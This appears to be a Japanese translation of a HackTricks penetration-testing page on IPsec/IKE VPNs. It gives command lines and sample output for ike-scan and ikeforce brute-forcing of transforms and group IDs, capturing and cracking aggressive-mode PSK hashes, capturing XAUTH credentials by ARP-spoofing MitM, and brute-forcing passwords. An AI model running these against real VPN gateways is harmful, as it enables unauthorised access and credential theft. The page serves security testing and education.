21 KiB
500/udp - IPsec/IKE VPNのペンテスト
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。無料でお試しください 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本情報
IPsecは、ゲートウェイ間(LAN間)およびホスト間(リモートアクセス)エンタープライズVPNソリューションに最も一般的に使用される技術です。
IKEはISAKMP(Internet Security Association Key Management Protocol)の一種であり、認証と鍵交換のためのフレームワークです。IKEは、3つのフェーズを通じて2つのエンドポイント間でセキュリティアソシエーション(SA)を確立します:
- フェーズ1: Pre-Shared Key(PSK)または証明書を使用して2つのエンドポイント間に安全なチャネルを確立します。メインモード(3組のメッセージ)またはアグレッシブモードを使用できます。
- フェーズ1.5: これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー(ユーザー+パスワード)を認証します。
- フェーズ2: ESPおよびAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます(Perfect Forward Secrecy(PFS))。
デフォルトポート: 500/udp
nmapを使用してサービスを発見
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
有効な変換を見つける
IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。各変換には、DESまたは3DESなどの暗号化アルゴリズム、SHAまたはMD5などの整合性アルゴリズム、事前共有キーなどの認証タイプ、Diffie-Hellman 1または2などの鍵配布アルゴリズム、および28800秒などの寿命が含まれます。
したがって、最初に行う必要があるのは、有効な変換を見つけることです。これにより、サーバーがあなたと通信できるようになります。これを行うために、ike-scanツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと8つの変換が含まれた1つの提案を持つパケットをゲートウェイに送信します。
応答に応じて、エンドポイントに関する情報を取得できます。
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
前の応答で見ると、AUTHというフィールドがあり、値がPSKになっています。これは、VPNが事前共有キーを使用して構成されていることを意味します(これはペンテスターにとって非常に良いことです)。
最後の行の値も非常に重要です:
- 0 returned handshake; 0 returned notify: これは、対象がIPsecゲートウェイでないことを意味します。
- 1 returned handshake; 0 returned notify: これは、対象がIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能であることを意味します(有効な変換は出力に表示されます)。
- 0 returned handshake; 1 returned notify: VPNゲートウェイは、受け入れ可能な変換がない場合に通知メッセージで応答します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、有効な変換を見つけるために少しブルートフォースする必要があります:
まず、すべての可能な変換を作成する必要があります:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
その後、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
もし総当たり攻撃がうまくいかなかった場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます。
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
有効な変換がエコーバックされることを期待しています。
同じ攻撃をiker.pyを使用して試すことができます。
ikeforceを使用して変換を総当たりで試すこともできます。
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
DH Group: 14 = 2048-bit MODP および 15 = 3072-bit である。
2 = HMAC-SHA = SHA1 (この場合)。--trans フォーマットは $Enc,$Hash,$Auth,$DH である。
Cisco は特に DH グループ 1 および 2 の回避を推奨している。論文の著者は、国家レベルの組織が弱いグループを使用してネゴシエートされた IPsec セッションを復号化できる可能性が高いと述べている。数億ドルを費やして事前計算を行い、弱いグループ (1,024 ビット以下) を使用するセッションのリアルタイム復号化を通じて、投資を回収する。
サーバーのフィンガープリント
次に、ike-scan を使用してデバイスの ベンダーを特定できる。このツールは初期提案を送信し、リプレイを停止する。その後、サーバーから受信したメッセージと一致する応答パターンの時間差を 分析 することで、ペンテスターは VPN ゲートウェイのベンダーを正確に特定できる。さらに、一部の VPN サーバーは IKE でオプションの Vendor ID (VID) ペイロード を使用する。
必要に応じて有効な変換を指定する (using --trans)
IKE がベンダーを特定した場合、それを表示する。
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
これはnmapスクリプト_ike-version_を使用しても達成できます。
正しいID(グループ名)の検索
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく正しいグループ名はわからないため、総当たり攻撃を行う必要があります。
そのために、2つの方法をお勧めします:
ike-scanを使用したIDの総当たり攻撃
まず、ハッシュを収集しようとして偽のIDでリクエストを行ってみてください("-P"):
ike-scan -P -M -A -n fakeID <IP>
ハッシュが返されない場合、おそらくこのブルートフォースの方法が機能するでしょう。何らかのハッシュが返される場合、これは偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするために信頼性がないことを意味します。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
このスクリプトは可能なIDをブルートフォースし、有効なハンドシェイクが返されるID(これは有効なグループ名になります)を返します。
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するまですべてを試す必要があります)。
ikeforceの辞書またはseclistsのものを使用して、一般的なグループ名をブルートフォースできます。
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
IDのBruteforce with Iker
iker.pyはike-scanを使用して、可能なグループ名をBruteforceします。ike-scanの出力に基づいて、有効なIDを見つけるための独自の方法を使用します。
IDのBruteforce with ikeforce
ikeforce.pyは、IDをBruteforceするために使用できるツールです。このツールは、有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします(偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanメソッドを使用することをお勧めします)。
デフォルトでは、ikeforceは最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
- 最初の方法は、Ciscoシステムの情報Dead Peer Detection DPDを検索して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
- 利用可能な2番目の方法は、各試行に送信された応答の数をチェックすることです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
- 3番目の方法は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
- 最後に、サーバーがチェックに対して何も返さない場合、ikeforceはサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで返信するかどうかをチェックします。
明らかに、IDをBruteforceする目的は、有効なIDがある場合にPSKを取得することです。その後、IDとPSKを使用して、XAUTHをBruteforceする必要があります。
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(うまく機能するまですべてを試す必要があります)。
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
スニッフィングID
VPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で取得することが可能です(書籍Network Security Assessment: Know Your Networkより)
ハッシュのキャプチャとクラック
最後に、有効な変換とグループ名が見つかり、アグレッシブモードが許可されている場合、破られる可能性のあるハッシュを簡単に取得できます:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
ハッシュは_hash.txt_内に保存されます。
ハッシュをクラックするには、psk-crack、john(ikescan2john.pyを使用)およびhashcatを使用できます。
psk-crack -d <Wordlist_path> psk.txt
XAuth
ほとんどの実装では、グループ認証を実行するためにPSKを使用したアグレッシブモードIKEが使用され、XAUTHが追加のユーザー認証を提供します(Microsoft Active Directory、RADIUS、または類似のものを介して)。IKEv2内では、EAPがXAUTHを置き換えてユーザーを認証します。
ローカルネットワークMitMによる資格情報のキャプチャ
したがって、_fiked_を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックをfiked
にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、詳細はこちら)。FikedはVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
IPSecを使用してMitM攻撃を試み、ポート500へのすべてのトラフィックをブロックし、IPSecトンネルを確立できない場合はトラフィックがクリアで送信される可能性があります。
ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする
XAUTH(有効なグループ名idとpskがわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。
1つまたは複数の有効なトランスフォームが見つかった場合は、前の手順と同様に使用してください。
IPSEC VPN での認証
Kali では、IPsec トンネルを確立するために VPNC が利用されます。プロファイル は /etc/vpnc/
ディレクトリに配置する必要があります。これらのプロファイルは vpnc コマンドを使用して開始できます。
以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
このセットアップでは:
- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]` と `[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `vpnc` が開始されるときに割り当てられるプロセス ID を `[PID]` で示します。
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
## 参考資料
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速化するために最も重要な脆弱性を見つけます。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>ゼロからヒーローまでの AWS ハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details>